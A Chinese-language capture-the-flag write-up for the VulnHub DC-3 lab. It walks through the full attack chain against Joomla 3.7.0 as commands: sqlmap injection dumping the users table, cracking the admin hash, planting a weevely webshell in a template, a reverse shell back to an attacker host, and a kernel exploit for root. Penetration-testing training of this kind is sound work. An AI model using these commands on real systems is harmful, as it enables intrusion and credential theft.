前言
这次练习的靶机是vulnhub平台下的DC系列靶机第三台,下载地址为https://www.vulnhub.com/entry/dc-32,312/。该靶机的难度系数为简单,该靶机只有一个flag,只有获取root权限才能获取该flag。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-3靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
然后需要溢出CD/DVD选项,这个启动时候会自动检测并连接CD/DVD,如果连接不上就会导致启动不了虚拟机。当然如果不移除该设备的话,去掉勾选启动时连接
也是可以的。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
通过nmap扫描获取到靶机的IP地址为 192.168.119.161
。下面就对靶机更加详细的扫描。
nmap -A -sV -p- --min-parallelism 200 192.168.119.161
-A 代表综合性扫描,能收集很多主要的信息
-sV 代表扫主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
只扫描出靶机开放了80端口,而且使用了joomla。接下来我们打开网站看看,需要特别注意有数据交互的地方,因为这些地方通常是漏洞出现的地方。
仔细观察并分析后没有发现可以利用的漏洞,接下来就用 dirsearch
对该网站进行目录扫描。
dirsearch -u 192.168.119.161
很快dirsearach就扫描完毕,通过扫描发现了一个 administrator
的目录,该目录很有可能是后台管理地址,打开看看。
确实是后台管理地址,并且进一步证实该网站使用的cms就是joomla。直接上burpsuite爆破,经过尝试没有把密码爆出来。既然没有发现漏洞,那就在漏洞库里面查一查有没有该cms的漏洞吧,但是首先需要获取joomla的版本号。获取版本号可以用joomla的专用扫描器 joomscan
来扫描,首先安装一下 joomscan
。
apt install joomscan
然后对目标网站进行扫描。
joomscan -u 192.168.119.161
通过扫描得知该joomla的版本号为 3.7.0
。
sql注入
现在已经知道joomla的版本了,接下来就用 searchsploit
搜索对应的漏洞。
searchsploit joomla 3.7.0
搜索得到了一个跨站脚本漏洞和一个sql注入漏洞,接下来通过 searchsploit -m
命令把sql注入漏洞对应的文件复制到当前文件夹。
searchsploit -m 42033.txt
好,该文件已经复制到当前目录了,查看一下里面的内容。
cat 42033.txt
这个文件里面都把利用命令给出来了,直接复制粘贴,然后修改一下IP地址即可使用。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
–risk 这个参数指定的数字越大,执行风险越高,成功率也越高。参数范围为1-3。
–level 这个参数指定的数字越大,发送的请求越多,成功率也越高,参数范围为1-5.
–random-agent 使用随机的请求的user agent,这个是为了避免请求被waf阻断。
–dbs 获取所有数据库名称。
-p 该参数是指定可以利用sql注入漏洞的参数。
扫描出了五个库,数据库joomladb
即该cms所使用的数据库,获取该库的所有表名。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
-D 指定需要扫描的库名。
–tables 列出指定库中的所有表名。
扫出来的表很多,我们发现了一个名为#__users
的表,这个应该是保存用户名和密码的表。用sqlmap把这个表里面的内容全部扫出来。
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]
-T 指定需要扫描的报名。
–dump 表示获取指定库和表中的有内容。
获取到了账号 admin
,密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
。该密文首部 2y
表示该加密方式为Blowfish
。
破解密文
尝试使用约翰开膛手破解一下,首先把密文保存一个文件中。
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>pass.txt
然后使用约翰开膛手进行暴力破解。
john pass.txt
john --show pass.txt
通过john破解的密码会保存在
~/.john/johh.pot
中,查看破解的密码可以直接查看该文件也可以通过john --show
命令指定密文文件来查看密码。
密码已经破解出来,密码为 snoopy
.
获取shell
通过破解的密码登陆网站管理后台。
获取shell的方法与之前靶机中WordPress获取shell的方法类似,通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接。这里我采用weevely做演示,首先用weebely生成一个木马。
weevely generate a a.php
generate 代表生成一个木马
a 代表连接密码
a.php 是木马文件名
然后在后台中选择 Templates
。
然后依次点击 Templates
-> Beez3 Details and Files
,选择下边的模块也是可以的,这里就用Beez3模块做演示。
点击 New File
后就会弹出一个模态框,在模态框中可以填写创建文件的文件名与文件类型。
随便填写一个文件名,但是需要记住,待会儿连接需要使用,文件类型选择PHP。
将刚刚用weevely生成的木马内容粘贴到文本框中,然后点击保存。
通过前面的目录扫,我们知道了模块会保存在目录/templates/beez3/
中,我们访问一下刚才编辑好的木马文件:http://192.168.119.161/templates/beez3/a.php
,如下图所示出现空白则说明有这个木马文件存在。
如果访问文件不存在就会报404错误,如下图所示。
然后使用weevely进行连接。
weevely http://192.168.119.160/templates/beez3/a.php a
最后面一个a是连接密码,在生成木马的时候设置的。
如图所示说明已经成功获取shell了。
提权
在linu提权中最常见的就是suid提权了,接下来就通过find -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
命令查找具有s权限的文件,以及用 sudo -l
查看可以用root权限执行的命令。
经过查找没有发现s权限的文件也没有发现可以用root权限执行的命令。这种情况还是需要用searchsploit来查找提权漏洞。但是查找前需要知道系统的版本号和内核版本号。
cat /etc/issue //查看系统版本号
uname -a //查看内核版本号
我们得知系统为 ubuntu 16.04
,内核发行版本为 4.4.0-21
。
searchsploit ubuntu 16.04
找到对应内核版本的漏洞,这次提权采用 39772.txt
来演示。
searchsploit -m 39772.txt
按照这个文件里面的提示下载好漏洞利用脚本。下载的是一个zip文件,里面有两个文件,分别为 exploit.tar
, crasher.tat
。这次提权我们只需要用到 exploit.tar
,所以把这个文件上传到靶机上。
执行以下命令上传exploit.tar,注意命令前有一个冒号,还要注意exploit.tar的文件本地地址。
:file_upload2web exploit.tar
接下来就需要建立反弹shell,在webshell中的命令是基于php的,所以有很多功能会受到限制,会导致提权不会成功。所以需要建立反弹shell来提权。
首先在本地监听一个端口,这里以 4443
作演示。
rlwrap nc -lvnp 4443
rlwrap是为了让shell更加智能化。
然后在weevely建立的webshell中输入以下命令来建立反弹shell,注意IP地址与端口号:
:backdoor_reversetcp 192.168.119.130 4443
出现报错了,没关系,来到监听窗口观察发现已经建立了反弹shell。下面就升级为交互式shell。
python -c 'import pty;pty.spawn("/bin/bash")'
接下来就解压漏洞利用文件,解压后进入解压的目录。
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
先执行 complie.sh
,然后执行 doubleput
,忽略报错。
./complie.sh
./doubeput
提权成功!去 /root
获取flag。
cd /root
cat the-flag.txt
总结
该靶机总体比较简单,遇到问题只需要到searchsploit搜索即可解决问题。
参考文献
[1] https://zhuanlan.zhihu.com/p/51756921,sqlmap的一些技术细节(2)
[2] https://www.cnblogs.com/vaelailai/p/7545166.html,linux查看操作系统版本信息
[3] https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密码段的生成方式